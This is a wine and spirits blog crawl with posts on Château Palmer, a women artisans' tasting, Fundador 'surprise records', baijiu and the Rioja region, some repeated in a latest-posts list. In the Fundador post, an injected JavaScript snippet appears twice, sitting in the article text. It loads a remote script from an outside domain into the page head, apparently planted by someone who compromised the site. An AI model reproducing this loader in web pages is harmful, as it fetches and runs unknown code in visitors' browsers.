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  • Breaking the rules

    A morning at Château Palmer

    Château Palmer. A morning in the vineyard and winery with Alba, Head of Viticulture at Château Palmer, who, in addition to her deep knowledge and Iberian roots, was an open book with us and incredibly kind. We went with the international sommeliers from the Basque Culinary Center and had the honour of taking part in this true masterclass in viticulture and winemaking.

    At Palmer, they know how to have fun! A Passito? A white wine? When nature allows it, they make a Passito white Merlot with 200/300g/L of residual sugar aprox. Their white wine comes from a field blend (3ha) of 4 grape varieties: white Merlot, Muscadelle + Sauvignon Gris (similar to Sauvignon Blanc), and Lauzet (adds acidity).

    I don’t wanna make you jealous, but I tasted the ‘white Palmer’ in the past with the one and only Javier Zacagnini. Both of these wines are very limited and reserved for special events/clients/friends.

    Château Palmer is 100% biodynamic. They officially turned biodynamic in 2014 (66ha), after experimenting with 1ha in 2008. The results of this experiment showed the wine was as good as before, and therefore, since it was better for the soil and for the workers, they decided to convert. They work biodynamically ‘without fanaticism’, more in the field than in the winery.

    They have 2-3 cows on property, going up to 25, and 50 sheep that triple in winter. When flowering arrives, no more sheep on the field (they’d attack the tender part of the vine), so they are there aprox. from November to April.

    In July, they have 120 people working in the vineyards! Labour availability is always tricky, but they work with associations, and some stay to work after the summer job.

    Harvest finishes in 3 weeks (8kg baskets), normally the last 2 weeks of September and the first week of October. Then, they work the soil and plant cover crops until spring.

    They now offer a new deluxe enotourism option: one day at Palmer with Michelin-starred chef, Jean-Denis Le Bras, sharing moments with the workers, and a private dining experience for 2 to 10 people. It just started and is already fully booked.

    What else to say? Château Palmer is different! It is the most ‘Hayao Miyazaki’ château of Bordeaux. Full of magic and nuances, from the vineyards to the sensibility and textures in the glass. Palmer and Alter Ego are both out of this world. Thanks a lot Alba and Château Palmer for your time and wisdom.

  • Breaking the rules

    High-Precision Artisans

    High-Precision Artisans.

    March. Proclaimed the month of women, with its celebration on the 8th. I like to think that every month is March for THEM. In March, we bury the winter and welcome the spring. Spring represents change, marked by THEM through projects born from passion, courage, love for the land, family, and life.

    On 8 March, together with Yolanda Campos, "chefa" of La Cabezuela cheeses, we organised a tasting to present and celebrate the work of several masters of fermentation: in wine; Bea Herranz (from Barco del Corneta), Esmeralda García (from Arenas de Santyuste), Bárbara Requejo (from Las Pedreras); in cheese, Rita García (from Cortes del Muar), Chelo López (from Quintián), Soraya Bosch (from Binigarba), Olivia Piña (from Villaluenga), the sisters (from Ruperto), Paqui Cruz (from Dehesa de los Llanos); and in bread, Nuria Escarpa (from 3letras PAN), for the absolute delight of our attendees.

    The Master Winemakers and Viticulturists

    Beatriz Herranz

    Beatriz Herranz at el Paraje del Infierno, La Seca.

    Beatriz Herranz presents Barco del Corneta 2023 (Verdejo) for the ELLAS tasting.

    Oenologist, but first and foremost a viticulturist. From La Seca, Rueda (Barco del Corneta – 5 ha). What she loved was the countryside, and from the beginning, she knew she wanted to work organically. Sixteen years ago, there were no organic vineyards in her area. Like many in the region, she was linked to the vineyard and inherited a plot of land stripped of vines from her grandmother in 2008. And she planted.

    In 2010, she moved to Cebreros with a project to recover old vines and native varieties, based on a plan conceived with great soul, which she wanted to bring back to her homeland. And there, almost by chance, in the third year of her vineyard, she harvested 500 kg and fermented them in a barrel. The result was a success. A trial and an achievement. At that time, the market was saturated with homogeneous Verdejos, and there was much to explore. She opted for low yields of 5000 kg/ha to maintain the balance of her vines. She strengthens them with a living soil, providing tools to sustain its vitality.

    Beatriz says: "It’s not the same to eat well and be healthy as it is to rely on vitamin supplements." This is her philosophy of life. "Once you see the results, you can’t go back." She also works with native yeasts, allowing her wines to settle naturally in barrels or tanks. Vineyard and winery work require extensive observation and, above all, time. It is an artisanal way of running her project within a sea of large wineries in Rueda. Later, she searched for and found old vines planted on their own roots, over 100 years old, in deep sandy soils with a layer of gypsum beneath. Lands ideal for finer, more elongated wines, with the added effect of the gypsum, providing moisture retention similar to albariza soil.

    Verdejo and Palomino vines give birth to her trilogy of wines, “Paraje del Infierno”, named after the Viura vineyard of El Judas, where it was once said that nothing would grow: La Sillería, El Judas, and Las Envidias. I tasted La Sillería, with extraordinary finesse, and Las Envidias, a biologically aged wine in a cask, delicate and complex. El Judas was not possible; last year, the harvest was lost to frost. She does not buy grapes when things go wrong in the field. Philosophy: to make wine exclusively from her vineyards. She is faithful to her land, respectful of its past and present, and has an admirable goal: to ensure a long future for her vines.

    Bárbara Requejo

    Bárbara Requejo, in Villanueva de Ávila.

    Bárbara Requejo brings Linarejos 2023, a blend of Albillo Real and Manzanilla.

    Oenologist and viticulturist from Las Pedreras (5 ha), in the Alto Alberche region, Ávila. She did not come from a family of winemakers, but her uncle passed on his passion and profession: oenology. After completing her studies in Valladolid, her hometown, she spent four years working as a trainee oenologist, travelling between the northern and southern hemispheres, gaining experience in prestigious wineries in France, Chile, California, and New Zealand. Returning home, she wanted to take control—to make the decisions, moving from labourer to leader. At just 24, she became the technical director of the Gredos Soto Manrique cooperative, learning alongside veteran viticulturists.

    In 2019, while dining with clients at a restaurant called La Querencia in Villanueva de Ávila, she fell in love—with Guzmán, the chef, and with the Alto Alberche region. His family owned vineyards, though in that area, vines are scarce—or rather, hidden. They are extremely old (a vineyard considered young in the region is 60 years old), and he made wine for the restaurant. The pandemic brought unexpected projects to those who adapted. In 2020, with the restaurant closed, they dedicated themselves to the vineyards, launching Las Pedreras, the first winery in Villanueva. Their vineyards are their hallmark, employing dry farming techniques and bush-trained vines on poor granite soils.

    Bárbara explains how she had to leave behind some of her prior knowledge and instead observe the vineyard, adapting to its conditions rather than imposing her methods. Alongside tending to their old vines, they embarked on a shared challenge: investing all their savings to purchase vineyards and land to plant a massal selection in an area where no one had planted before—at an altitude of 1,230 metres. Once again, observation was key: "Nature is more persistent and powerful than you are."

    She plants with the future in mind, wanting to leave a legacy while also being part of it. Her Vertiente de las Ánimas vineyard is a spectacle—160-year-old Garnacha vines. One can perceive what they have achieved: harmony between soil, vegetation, and vine—a landscape balance reflected in their wines. From precision in the vineyard comes healthy grapes.

    She says: "In conventional viticulture, you apply treatments and go home; in organic farming, you never fix a problem—you prevent it. Then, in the winery, when making artisan wine with spontaneous fermentations, you have less room for relaxation. You are in constant observation: how the cap smells, how the must develops—you cannot ferment at low temperatures..."

    She affirms that she has closed a cycle, from the slate soils of Gredos to the granite of Alto Alberche. For her, part of rural craftsmanship is preserving, caring for, and supporting the continuation of native grape varieties, such as Albillo, crafting a wine in the Linarejos region of Gredos. She also makes wine in Roa, her hometown, and once again, fate was on her side. Her mother inherited old bush-trained Tempranillo vines, and the wine is called La Coronela, in memory of her grandmother, who was known by that name.

    Without a doubt, craftsmanship gains strength through projects deeply rooted in tradition, heritage, respect for nature, and an understanding of the alchemy of winemaking—resulting in honest and elegant wines.

    Esmeralda García

    Esmeralda García in Santiuste.

    Esmeralda García showcases Arenas de Santyuste 2023 (Verdejo)

    Oenologist and viticulturist from Arenas de Santyuste, Segovia (6 ha). She was originally set to become a clinical microbiologist but started working in an oenology laboratory in her hometown, Santiuste. She trained in wine with a master’s degree in oenology and another in food safety. She loves the countryside and spent nine years working in a local winery.

    2011 was a turning point in her life. She made a sudden decision to leave her job and return to her homeland. The magic of fermentation felt limited—her superiors suppressed her initiative. She reclaimed her grandfather’s vineyards and began a project in Medina del Campo. She was the first person in the area to produce wines using indigenous yeasts.

    In 2012, she won the Nariz de Oro award, which gave her the confidence to travel and explore the wine world—visiting Jura, Bordeaux, Galicia, and Priorat, expanding her perspective. Upon returning to her village, she realised the treasure she had: pre-phylloxera vineyards between 160 and 210 years old. Many vineyards in the area had been uprooted, but the best were preserved for making local wine.

    Coming from a working-class background—her grandfather Boni worked for landowners, her father was a truck mechanic—being a woman also made it difficult to rent or acquire vineyards. She continued consulting for wineries but remained focused on her romantic yet financially limited goal: making a village wine, from her own village. 

    At first, the vines rebelled against her. The first two years were rough, with overripe grapes she struggled to control. “When you stop shouting, your wines will stop shouting,” her distributor told her, someone who believed in her. That’s when she started paying attention to how locals tended their vines. She travelled less, realising she needed to understand why her vineyards resisted her approach.

    “I began to humanise the plants and agriculture—to stop thinking about them in terms of economic yield, but rather in terms of logical care and gratitude for what they offer.” For her, guiding old vines is a privilege, and achieving balance is essential. She is passionate about precision in her environment and what it means to produce wine from her village. “Being a vigneron requires a great deal of contemplation, often misunderstood as laziness.”

    The vineyards entrusted to her will, in turn, have to be passed on, and it is her responsibility to care for them. When she started to “humanise” the cultivation process, everything began to work in harmony. Her village wine comes from four plots, four landscapes, using the same grape variety and the same winemaking process, yet each plot expresses itself differently. Vallejo has coarse sand and some pebbles—very rustic soils that turn rock-hard in summer without rain. Carrascal is all pebbles, giving wines of sun and fire, as she describes it. Fuentecilla has a high water table and tertiary-era sand (before the tectonic collision of plates, when the Tethys Sea covered the area). Lastly, Las Miñañas is the vineyard of her life, blending the power of Carrascal with the influence of Fuentecilla.

    In the Las Miñañas plot, people once tried to burn the vines with diesel, but some survived. Her winery is in Bernuy de Coca, a tiny settlement in Santiuste. It has only six inhabitants, and she is one of them. The winery is just 100 m², and she ages her wines in clay amphorae, where the flor yeast grows in winter and dies in summer. I tasted her wines and experienced their flor—something I had never encountered before. She describes her wines as austere, like their landscapes and the Verdejo grape itself.

    She does not align with any particular “club,” such as the natural wine movement. She does not like defects in wine and does not justify them. “Are my wines natural just because I don’t add things? It has more to do with craftsmanship than a predefined process.” In the end, craftsmanship is about time, good ingredients, and a touch of magic—that unexplainable je ne sais quoi that stirs emotions on your palate, and her wines certainly have it.

    The Master Cheesemakers

    Yolanda Campos

    Yolanda y Juan Luis de Quesos La Cabezuela.

    Yolanda & Juan Luis from Quesos La Cabezuela.

    Yolanda Campos curates the cheeses: Mimosa from Quesería Cortes de Muar, Néboa from Ganadería Quintián, Mahón from Quesería Binigarba, Queso Payoyo from Quesería de Villaluenga, Corteza Lavada from Quesería Ruperto, Gran Reserva from Dehesa de los Llanos, and Gamoneu from Quesería Priedamu.

    From Quesos La Cabezuela, she is not only the co-owner of her cheese factory but also a great ambassador of other artisan projects with which she collaborates in distribution, and which we included in the 8 March tasting. She is also an international judge, along with her husband Juan Luis, in cheese competitions. Together, they took over the second-oldest cheese factory in the Community of Madrid, located in Fresnedillas de la Oliva. They revived the recipe for the cheese known as Tradicional, the only traditional cheese from the area made with milk from Guadarrama goats. This goat breed is large, produces little milk, but it is rich in fat.

    Not bound by a Designation of Origin, they have travelled across Spain and abroad to adapt new recipes to their cheese factory. Initially, they had only two cheeses; now, they offer 15 varieties thanks to their 900+ goats, which are fed on forage. The livestock is raised extensively, as there is not enough pasture all year round, and in summer, their diet is supplemented with organic feed.

    They create their own ferments, setting them apart from other cheesemakers who purchase them from laboratories. Fermentation is highly sensitive, especially in Madrid’s continental climate. Despite cheese being made from milk, rennet, ferments, and salt, it requires meticulous precision.

    Master Baker

    Nuria Escarpa

    Nuria Escarpa, in 3letras PAN

    Nuria Escarpa provides the breads: raisin and walnut bread, quelitas, regañás, rye loaf, wheat baguette, and wheat and flaxseed baguette.

    Nuria is the head baker at 3letras PAN in Madrid. A psychology graduate, she does not come from a family of bakers. She began baking bread at home in 2005, which led her to an extensive career in international projects supporting female entrepreneurs in Venezuela, Peru, Colombia, and Ecuador—many of them linked to gastronomy. She was the head of cooperation at the Madrid Business Confederation. After several entrepreneurial projects, including a Brazilian bakery in 2020, which did not succeed due to the pandemic, she rose again and took charge of 3letras PAN.

    3letras is a symbol of identity, representing the three primary ingredients: flour, water, and salt. It is a project where she merges all her knowledge, experience, and passion for fermentation. She has turned 3letras PAN into a social space for women in baking, employing only women—some of whom are migrants or in vulnerable situations. It is her way of contributing her "grain of flour."

    For her, baking is a way to communicate with the world through her sourdough creations, using organic ingredients. It is an artisanal craft that allows her to continue travelling and learning. She recently returned from baking in Thailand. In her bakery, she hosts "bread pairings" (PANidajes) from her "bread pantry" (desPANsa), where enthusiasm + passion = fermentation. Nuria is undoubtedly a PANtastic woman.

    We must applaud small-scale work more than ever, for what it represents: a great wave of artists rather than mere artisans, women and men who bring us closer to the deepest roots of our culture, giving them new life. Today, craftsmanship is also innovation, and therefore, evolution and creation

  • Music & Wine

    Surprise records by “cognac” Fundador

    ¡Surprise records! What is this marvel? A total surprise! Look what you can find in the best record shops, in this case, in Dientes Largos  in Pamplona, Navarra, at the 45th Jarauta Street, run by the wonderful Kike Crespo! The surprise records are special editions of 7" vinyl records that were given as gifts by Bodegas Domecq, especially for Christmas, to their customers who bought the "cognac" Fundador. Yes, of course, today it's called brandy, but in those days it was called cognac! Be aware! Once again, grapes and music high five! The campaign started in 1962 and lasted until 1973 and a catalogue of more than 250 7" records was published, some of which had prizes engraved on the record! You could win a car or a TV, a record player, beauty products, or watches. If you got the prize on the record, you had to show up with it at Bodegas Domecq to exchange it for your prize! A little bit like Willy Wonka with the golden ticket - marvellous!   Disco sorpresa Fundador DomecqIMG_5308 If you find out a surprise record, you are in front of one the most analogue and historical ways of beverage marketing through music.  Certainly a way a lot more fun than creating algorithmic campaigns on facebook and co. Ouh Yeah! Somewhat-real-rhythmic campaigns are much better! disco sorpresavar url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);
  • Up to date

    Exploring Baijiu from Shui Jing Fang with family!

    The other day, I had the pleasure of tasting a remarkable Baijiu, Shui Jing Fang distillery, during a spicy Jiangxi-style dinner in Switzerland and surrounded by family.

    This ultra-premium spirit, hailing from a distillery established in 1408, is a tribute to centuries of Chinese craftsmanship. It is a powerful drink, with 52% abv! The majestic lion on the bottle stared back at me, as if challenging me to embrace the tradition and intensity of the moment.

    "Have it with peanuts," Romain told me. "It will help balance the heat."

    To add a special twist to the evening, we were invited to enjoy our Baijiu alongside a spread of homemade, mouth-watering dishes from the Jiangxi region. The food was spectacular, bold, spicy, and packed with flavour. Like a roller coaster of spicy emotions! But then came the surprise: even if you were in real need of rice to fight the spicy bites, you weren’t allowed to touch the comforting bowl of rice until you’d finished your Baijiu shot. Let's do this!

    Let me tell you, this wasn’t just a casual sip. This was a complete shot of Shui Jing Fang’s special Baijiu, shared with Mei and her parents who cooked for us, and it demanded respect. Even for an experienced wine and spirits professional like me, it was a tall order. The heat from the food and the Baijiu’s potent sting were a fiery duo, a test of endurance and willpower. But that’s what made it so memorable. By the time you reached the rice, sweet and fluffy salvation, it felt like a hard-earned reward.

    But what exactly is Baijiu, and what makes it so unique?

    What is Baijiu?

    Baijiu (白酒), which translates to "white liquor," is a Chinese distilled spirit made from grains such as sorghum, sticky rice, non-sticky rice, corn, and wheat. Unlike many Western spirits that use liquid-state fermentation, Baijiu is fermented in solid or semi-solid states, often in sealed pits or pottery vessels. This unique process not only defines its taste but also connects it to the earthy roots of Chinese tradition.

    The Role of Qu: Baijiu’s Secret Ingredient

    At the heart of Baijiu production lies qu, a solid mass of coarsely crushed grains teeming with microorganisms. Qu provides the enzymes for starch conversion and hydrolysis, as well as the yeast needed for fermentation. There are three types of qu:

    • Big qu, made from various grains, is the most commonly used for major Baijiu styles.
    • Small qu, crafted from non-sticky rice, imparts delicate aromas.
    • Bran qu, which offers less complex profiles.

    Styles of Baijiu

    Baijiu is a diverse spirit, with twelve subcategories/styles based on aroma and flavour profiles, where the main 4 categories are:

    1. Strong Aroma Baijiu: Fruity esters and a fiery kick, often from Sichuan.
    2. Sauce Aroma Baijiu: Savory and umami-laden, reminiscent of soy sauce, from Guizhou.
    3. Light Aroma Baijiu: Subtle and clean, mainly from northeast China and Taiwan.
    4. Rice Aroma Baijiu: Soft and fragrant, with hints of rice sweetness. ...and more, including Sesame, Phoenix, and Medicine Aroma Baijiu.

    The other 8 subcategories/styles: Phoenix Aroma BaijiuSesame Aroma BaijiuLaobaigan Aroma BaijiuChi Aroma BaijiuMixed Aroma BaijiuSpecial Aroma BaijiuExtra-strong Aroma BaijiuMedicine (dong) Aroma Baijiu.

    Shui Jing Fang’s heritage as a Sichuan distillery and the fruity aromas strongly suggests that it falls into the Strong Aroma Baijiu category. This style is known for its bold, fruity esters and an intense heat that pairs beautifully with the robust flavours of spicy Jiangxi cuisine. The combination was in perfect harmony of fire and flavour during our dinner.

    Whenever you have the chance to enjoy Baijiu, remember, it isn’t just about savouring the spirit, it’s an immersive experience into Chinese tradition. The ritual of completing your shot before indulging in rice reinforces camaraderie and respect for the host’s generosity. Whether you're a connoisseur or a curious newcomer, Baijiu is a world worth exploring and I hope I can do it next time in situ. The next time you encounter a bottle of Shui Jing Fang—or any Baijiu—raise your glass to the 600 years of culture it embodies. Ganbei" (干杯) !

  • Breaking the rules

    Don’t you know? Talking about Rioja Revolution!

    After spending 11 years abroad, returning to Rioja made me think of a Socratic homecoming (I know that I know nothing) filled with excitement and enlightenment. If Rioja Tempranillo’s first clones could talk, they would probably say the same thing. 

    You really need to be an insider or a very curious detective to realise what’s been going on in Rioja. You can also be one of the lucky wine professionals selected to become a Certified Rioja Wine Educator, chosen to spread the word about this historic wine region and its latest expressions. These changes have been done with loads of work and enthusiasm, under the umbrella of the regulatory council (DOCa Rioja). They are working together towards the same goal: bringing a taste of Rioja everywhere.  

    Don’t you know? Rioja has gone under an incredible wine revolution. While preserving its identity, new grape varieties have been accepted, new vineyard classifications have arisen and the kingdom of wood ageing rule has been opened to new horizons. Rioja, the classic Spanish wine region, now has it all, new blood, skin and bones, and new wines. 

    After a wonderfully intensive week in Rioja, I recognise that this is just the top of the iceberg. So what is the taste of Rioja today and what will the future taste like? Rioja, the most famous and timeless Spanish wine region, is more alive than ever. It is everything that you could imagine: it’s young, it’s historic, it’s a great example of oenoturism, and its history is expanding towards a bright future. 

    The new generation of wines is as promising as their makers, some of their names, Roberto Olivan from Tentenublo amazed me with the vibrant “Escondite del Ardacho”, the elegant wines from Ukan wineryElena Corzana and her complex personal wines like the Maturana Tinta monovarietal. There are also others: the atypical and innovative concept winery of Residence Wines, a family project like Miguel y Mila with Ojuel, and their unique Supurao (passito) wine, and other wines like the authentic “Azala” skin contact white from Josean Eraso. Wait, are we still talking about Rioja? Yes! Totally! 

    Escondite del Ardacho, Tentenublo               Maturana Tinta Elena Corzana

    The Geographical indication “Viñedos Singular” from Rioja bring us to the outsiders, now from the inside. Juan Carlos Sancha or Professor Sancha hits the tasting “Garnacha” Peña el gato! And also the natural, tinaja and granito version. When listening to Juan Carlos, you learn just by breathing by his side. He is not only a well known Viticulture and Oenology teacher in La Rioja, he has also done lots of work in recovering grape varieties from extinction. A grape preacher. We can feel this energy in his wines, also in Cerro La Isa. Other remarkable wineries to mention: Tobelos, Macrobert & Canals, Finca la Emperatriz.

    Juan Carlos Sancha

     Pruning workshop at Finca Vistahermosa, old vines from Garnacha

    Let’s talk about grape liberation (or acceptation).14 grape varieties are now allowed on the appellation. On the white grape side, keep an eye on Tempranillo blanco. A natural cross found among the vines, it is coming up strong since it was approved in 2007. Besides its famous name, it has a beautiful and almost tropical scent! Viura is the queen of course, while Tempranillo blanco comes in 4th place, after Malvasia and Garnacha blanca. On the red grapes team, Tempranillo is the kingfollowed by Garnacha. Additionally, many consider Garnacha, Mazuelo, Graciano and Maturana Tinta to be the future of Rioja to support Tempranillo.

    What about Rioja Oriental? Most wineries had no issue with being called Rioja Baja. They never felt like they were less! (Baja meaning low in Spanish) But now that’s how it is. You must be aware of the amazing quality produced and the great human beings behind the wines. Ruiz Jimenez winery and wines are an inspiring and pure energy as the team behind, as dynamic as biodynamic. They also organize concert nights over the summer under the name of “Atardeceres” (Sunsets). Viñedos en Voz Baja, with Carlos and his enigmatic wines like “Costumbres”, the Tempranillo blanco “El Yergo” from Paco Garcia, as well as the beautiful Garnachas from Arandon and Ontañon. 

                      Elena from Ruiz Jimenez  vineyards

    More discoveries to mention in Rioja Alavesa, the elegance of Everest wine from Altún and the complexity and structure of Bideona wines gained my heart and also the savoir-faire and white wine from Luis Cañas.

    Bideona vineyards, a morning with Tao Platón

    From the idyllic hills of Sierra Cantabria to the charming medieval town of Laguardia and to the historic Barrio de la Estación in Haro, we go back to the classics, as each corner has a story to tell and a flavour to impart. Spending time with Pablo Orio from Muga, Anna from Bodegas Bilbainas, Victor from Roda, Guillermo from La Rioja Alta, and also with CVNe and Gomez Cruzado’s team, tasting their wines is a symphony of sensory delights, full of colours and aromas.

    Tasting in Barrio de La Estación

    On a historical and cultural note, Briones is key. The Vivanco Museum is a must for anyone interested in the history of wine and its impact on human civilisation. Rafael Vivanco welcomed us at Vivanco’s Museum, taking us on a tour through art, archaeology, sculpture, paintings, astonishing Egyptian ceramics, perfectly kept Greek ceramics showing Dionysian banquets, and even a collection of some of the first bottles ever made! 

    We walked by the happy old man from “Sorolla” holding a “porrón”. Wait, that’s a Chagall! And “Le Troubadour” screw opener by Miró! More wine bottles from Juan Gris and Picasso’s perspective, even some grapes by Andy Warhol. For an instant, we forgot where we were. It really felt like an immense space ship gathering the jewels from humanity, while simultaneously finding space and time to turn grapes into great wine. The melody of Rafael's voice flowed like a gentle river, guiding us through the ages with a rhythm that echoed the passage of time itself. 

    A special mention for the master of ceremonies of the Rioja Wine Academy, Peter Arijs, and a top professional with capital letters! A Belgian in love with Rioja and spreading his art throughout the region. A real pleasure. As special mention as well to my talented wine colleges I spent the week with, so many awesome wine professional that are already shaking the wine industry. And if you want to learn more about Rioja, here : https://riojawineacademy.com

    As we taste Rioja wines, we are also getting a taste of their people. The influence of terroir is undeniable. The different winemaking decisions together with the new grape varieties allowed, new generations, the oldies but goldies, and more flexibility from the D.O.Ca. , are truly shaping the diversity of styles of “Riojas” that are produced. Being a witness to these transformative changes is a truly transcendent experience, and one that any wine lover should not miss.

    So get ready, tune in, raise your glass and expect the unexpected when you taste the Rioja Revolution!

    Certified Rioja Wine Educators 2023-2024

LATEST POSTS

A morning at Château Palmer

May 11, 2025 0

Château Palmer. A morning in the vineyard and winery with Alba, Head of Viticulture at Château Palmer, who, in addition to her deep knowledge and Iberian roots, was an open book with us and incredibly kind. We went with the international sommeliers from the Basque Culinary Center and had the honour of taking part in this true masterclass in viticulture and winemaking.

At Palmer, they know how to have fun! A Passito? A white wine? When nature allows it, they make a Passito white Merlot with 200/300g/L of residual sugar aprox. Their white wine comes from a field blend (3ha) of 4 grape varieties: white Merlot, Muscadelle + Sauvignon Gris (similar to Sauvignon Blanc), and Lauzet (adds acidity).

I don’t wanna make you jealous, but I tasted the ‘white Palmer’ in the past with the one and only Javier Zacagnini. Both of these wines are very limited and reserved for special events/clients/friends.

Château Palmer is 100% biodynamic. They officially turned biodynamic in 2014 (66ha), after experimenting with 1ha in 2008. The results of this experiment showed the wine was as good as before, and therefore, since it was better for the soil and for the workers, they decided to convert. They work biodynamically ‘without fanaticism’, more in the field than in the winery.

They have 2-3 cows on property, going up to 25, and 50 sheep that triple in winter. When flowering arrives, no more sheep on the field (they’d attack the tender part of the vine), so they are there aprox. from November to April.

In July, they have 120 people working in the vineyards! Labour availability is always tricky, but they work with associations, and some stay to work after the summer job.

Harvest finishes in 3 weeks (8kg baskets), normally the last 2 weeks of September and the first week of October. Then, they work the soil and plant cover crops until spring.

They now offer a new deluxe enotourism option: one day at Palmer with Michelin-starred chef, Jean-Denis Le Bras, sharing moments with the workers, and a private dining experience for 2 to 10 people. It just started and is already fully booked.

What else to say? Château Palmer is different! It is the most ‘Hayao Miyazaki’ château of Bordeaux. Full of magic and nuances, from the vineyards to the sensibility and textures in the glass. Palmer and Alter Ego are both out of this world. Thanks a lot Alba and Château Palmer for your time and wisdom.

High-Precision Artisans

March 16, 2025 0

High-Precision Artisans.

March. Proclaimed the month of women, with its celebration on the 8th. I like to think that every month is March for THEM. In March, we bury the winter and welcome the spring. Spring represents change, marked by THEM through projects born from passion, courage, love for the land, family, and life.

On 8 March, together with Yolanda Campos, "chefa" of La Cabezuela cheeses, we organised a tasting to present and celebrate the work of several masters of fermentation: in wine; Bea Herranz (from Barco del Corneta), Esmeralda García (from Arenas de Santyuste), Bárbara Requejo (from Las Pedreras); in cheese, Rita García (from Cortes del Muar), Chelo López (from Quintián), Soraya Bosch (from Binigarba), Olivia Piña (from Villaluenga), the sisters (from Ruperto), Paqui Cruz (from Dehesa de los Llanos); and in bread, Nuria Escarpa (from 3letras PAN), for the absolute delight of our attendees.

The Master Winemakers and Viticulturists

Beatriz Herranz

Beatriz Herranz at el Paraje del Infierno, La Seca.

Beatriz Herranz presents Barco del Corneta 2023 (Verdejo) for the ELLAS tasting.

Oenologist, but first and foremost a viticulturist. From La Seca, Rueda (Barco del Corneta – 5 ha). What she loved was the countryside, and from the beginning, she knew she wanted to work organically. Sixteen years ago, there were no organic vineyards in her area. Like many in the region, she was linked to the vineyard and inherited a plot of land stripped of vines from her grandmother in 2008. And she planted.

In 2010, she moved to Cebreros with a project to recover old vines and native varieties, based on a plan conceived with great soul, which she wanted to bring back to her homeland. And there, almost by chance, in the third year of her vineyard, she harvested 500 kg and fermented them in a barrel. The result was a success. A trial and an achievement. At that time, the market was saturated with homogeneous Verdejos, and there was much to explore. She opted for low yields of 5000 kg/ha to maintain the balance of her vines. She strengthens them with a living soil, providing tools to sustain its vitality.

Beatriz says: "It’s not the same to eat well and be healthy as it is to rely on vitamin supplements." This is her philosophy of life. "Once you see the results, you can’t go back." She also works with native yeasts, allowing her wines to settle naturally in barrels or tanks. Vineyard and winery work require extensive observation and, above all, time. It is an artisanal way of running her project within a sea of large wineries in Rueda. Later, she searched for and found old vines planted on their own roots, over 100 years old, in deep sandy soils with a layer of gypsum beneath. Lands ideal for finer, more elongated wines, with the added effect of the gypsum, providing moisture retention similar to albariza soil.

Verdejo and Palomino vines give birth to her trilogy of wines, “Paraje del Infierno”, named after the Viura vineyard of El Judas, where it was once said that nothing would grow: La Sillería, El Judas, and Las Envidias. I tasted La Sillería, with extraordinary finesse, and Las Envidias, a biologically aged wine in a cask, delicate and complex. El Judas was not possible; last year, the harvest was lost to frost. She does not buy grapes when things go wrong in the field. Philosophy: to make wine exclusively from her vineyards. She is faithful to her land, respectful of its past and present, and has an admirable goal: to ensure a long future for her vines.

Bárbara Requejo

Bárbara Requejo, in Villanueva de Ávila.

Bárbara Requejo brings Linarejos 2023, a blend of Albillo Real and Manzanilla.

Oenologist and viticulturist from Las Pedreras (5 ha), in the Alto Alberche region, Ávila. She did not come from a family of winemakers, but her uncle passed on his passion and profession: oenology. After completing her studies in Valladolid, her hometown, she spent four years working as a trainee oenologist, travelling between the northern and southern hemispheres, gaining experience in prestigious wineries in France, Chile, California, and New Zealand. Returning home, she wanted to take control—to make the decisions, moving from labourer to leader. At just 24, she became the technical director of the Gredos Soto Manrique cooperative, learning alongside veteran viticulturists.

In 2019, while dining with clients at a restaurant called La Querencia in Villanueva de Ávila, she fell in love—with Guzmán, the chef, and with the Alto Alberche region. His family owned vineyards, though in that area, vines are scarce—or rather, hidden. They are extremely old (a vineyard considered young in the region is 60 years old), and he made wine for the restaurant. The pandemic brought unexpected projects to those who adapted. In 2020, with the restaurant closed, they dedicated themselves to the vineyards, launching Las Pedreras, the first winery in Villanueva. Their vineyards are their hallmark, employing dry farming techniques and bush-trained vines on poor granite soils.

Bárbara explains how she had to leave behind some of her prior knowledge and instead observe the vineyard, adapting to its conditions rather than imposing her methods. Alongside tending to their old vines, they embarked on a shared challenge: investing all their savings to purchase vineyards and land to plant a massal selection in an area where no one had planted before—at an altitude of 1,230 metres. Once again, observation was key: "Nature is more persistent and powerful than you are."

She plants with the future in mind, wanting to leave a legacy while also being part of it. Her Vertiente de las Ánimas vineyard is a spectacle—160-year-old Garnacha vines. One can perceive what they have achieved: harmony between soil, vegetation, and vine—a landscape balance reflected in their wines. From precision in the vineyard comes healthy grapes.

She says: "In conventional viticulture, you apply treatments and go home; in organic farming, you never fix a problem—you prevent it. Then, in the winery, when making artisan wine with spontaneous fermentations, you have less room for relaxation. You are in constant observation: how the cap smells, how the must develops—you cannot ferment at low temperatures..."

She affirms that she has closed a cycle, from the slate soils of Gredos to the granite of Alto Alberche. For her, part of rural craftsmanship is preserving, caring for, and supporting the continuation of native grape varieties, such as Albillo, crafting a wine in the Linarejos region of Gredos. She also makes wine in Roa, her hometown, and once again, fate was on her side. Her mother inherited old bush-trained Tempranillo vines, and the wine is called La Coronela, in memory of her grandmother, who was known by that name.

Without a doubt, craftsmanship gains strength through projects deeply rooted in tradition, heritage, respect for nature, and an understanding of the alchemy of winemaking—resulting in honest and elegant wines.

Esmeralda García

Esmeralda García in Santiuste.

Esmeralda García showcases Arenas de Santyuste 2023 (Verdejo)

Oenologist and viticulturist from Arenas de Santyuste, Segovia (6 ha). She was originally set to become a clinical microbiologist but started working in an oenology laboratory in her hometown, Santiuste. She trained in wine with a master’s degree in oenology and another in food safety. She loves the countryside and spent nine years working in a local winery.

2011 was a turning point in her life. She made a sudden decision to leave her job and return to her homeland. The magic of fermentation felt limited—her superiors suppressed her initiative. She reclaimed her grandfather’s vineyards and began a project in Medina del Campo. She was the first person in the area to produce wines using indigenous yeasts.

In 2012, she won the Nariz de Oro award, which gave her the confidence to travel and explore the wine world—visiting Jura, Bordeaux, Galicia, and Priorat, expanding her perspective. Upon returning to her village, she realised the treasure she had: pre-phylloxera vineyards between 160 and 210 years old. Many vineyards in the area had been uprooted, but the best were preserved for making local wine.

Coming from a working-class background—her grandfather Boni worked for landowners, her father was a truck mechanic—being a woman also made it difficult to rent or acquire vineyards. She continued consulting for wineries but remained focused on her romantic yet financially limited goal: making a village wine, from her own village. 

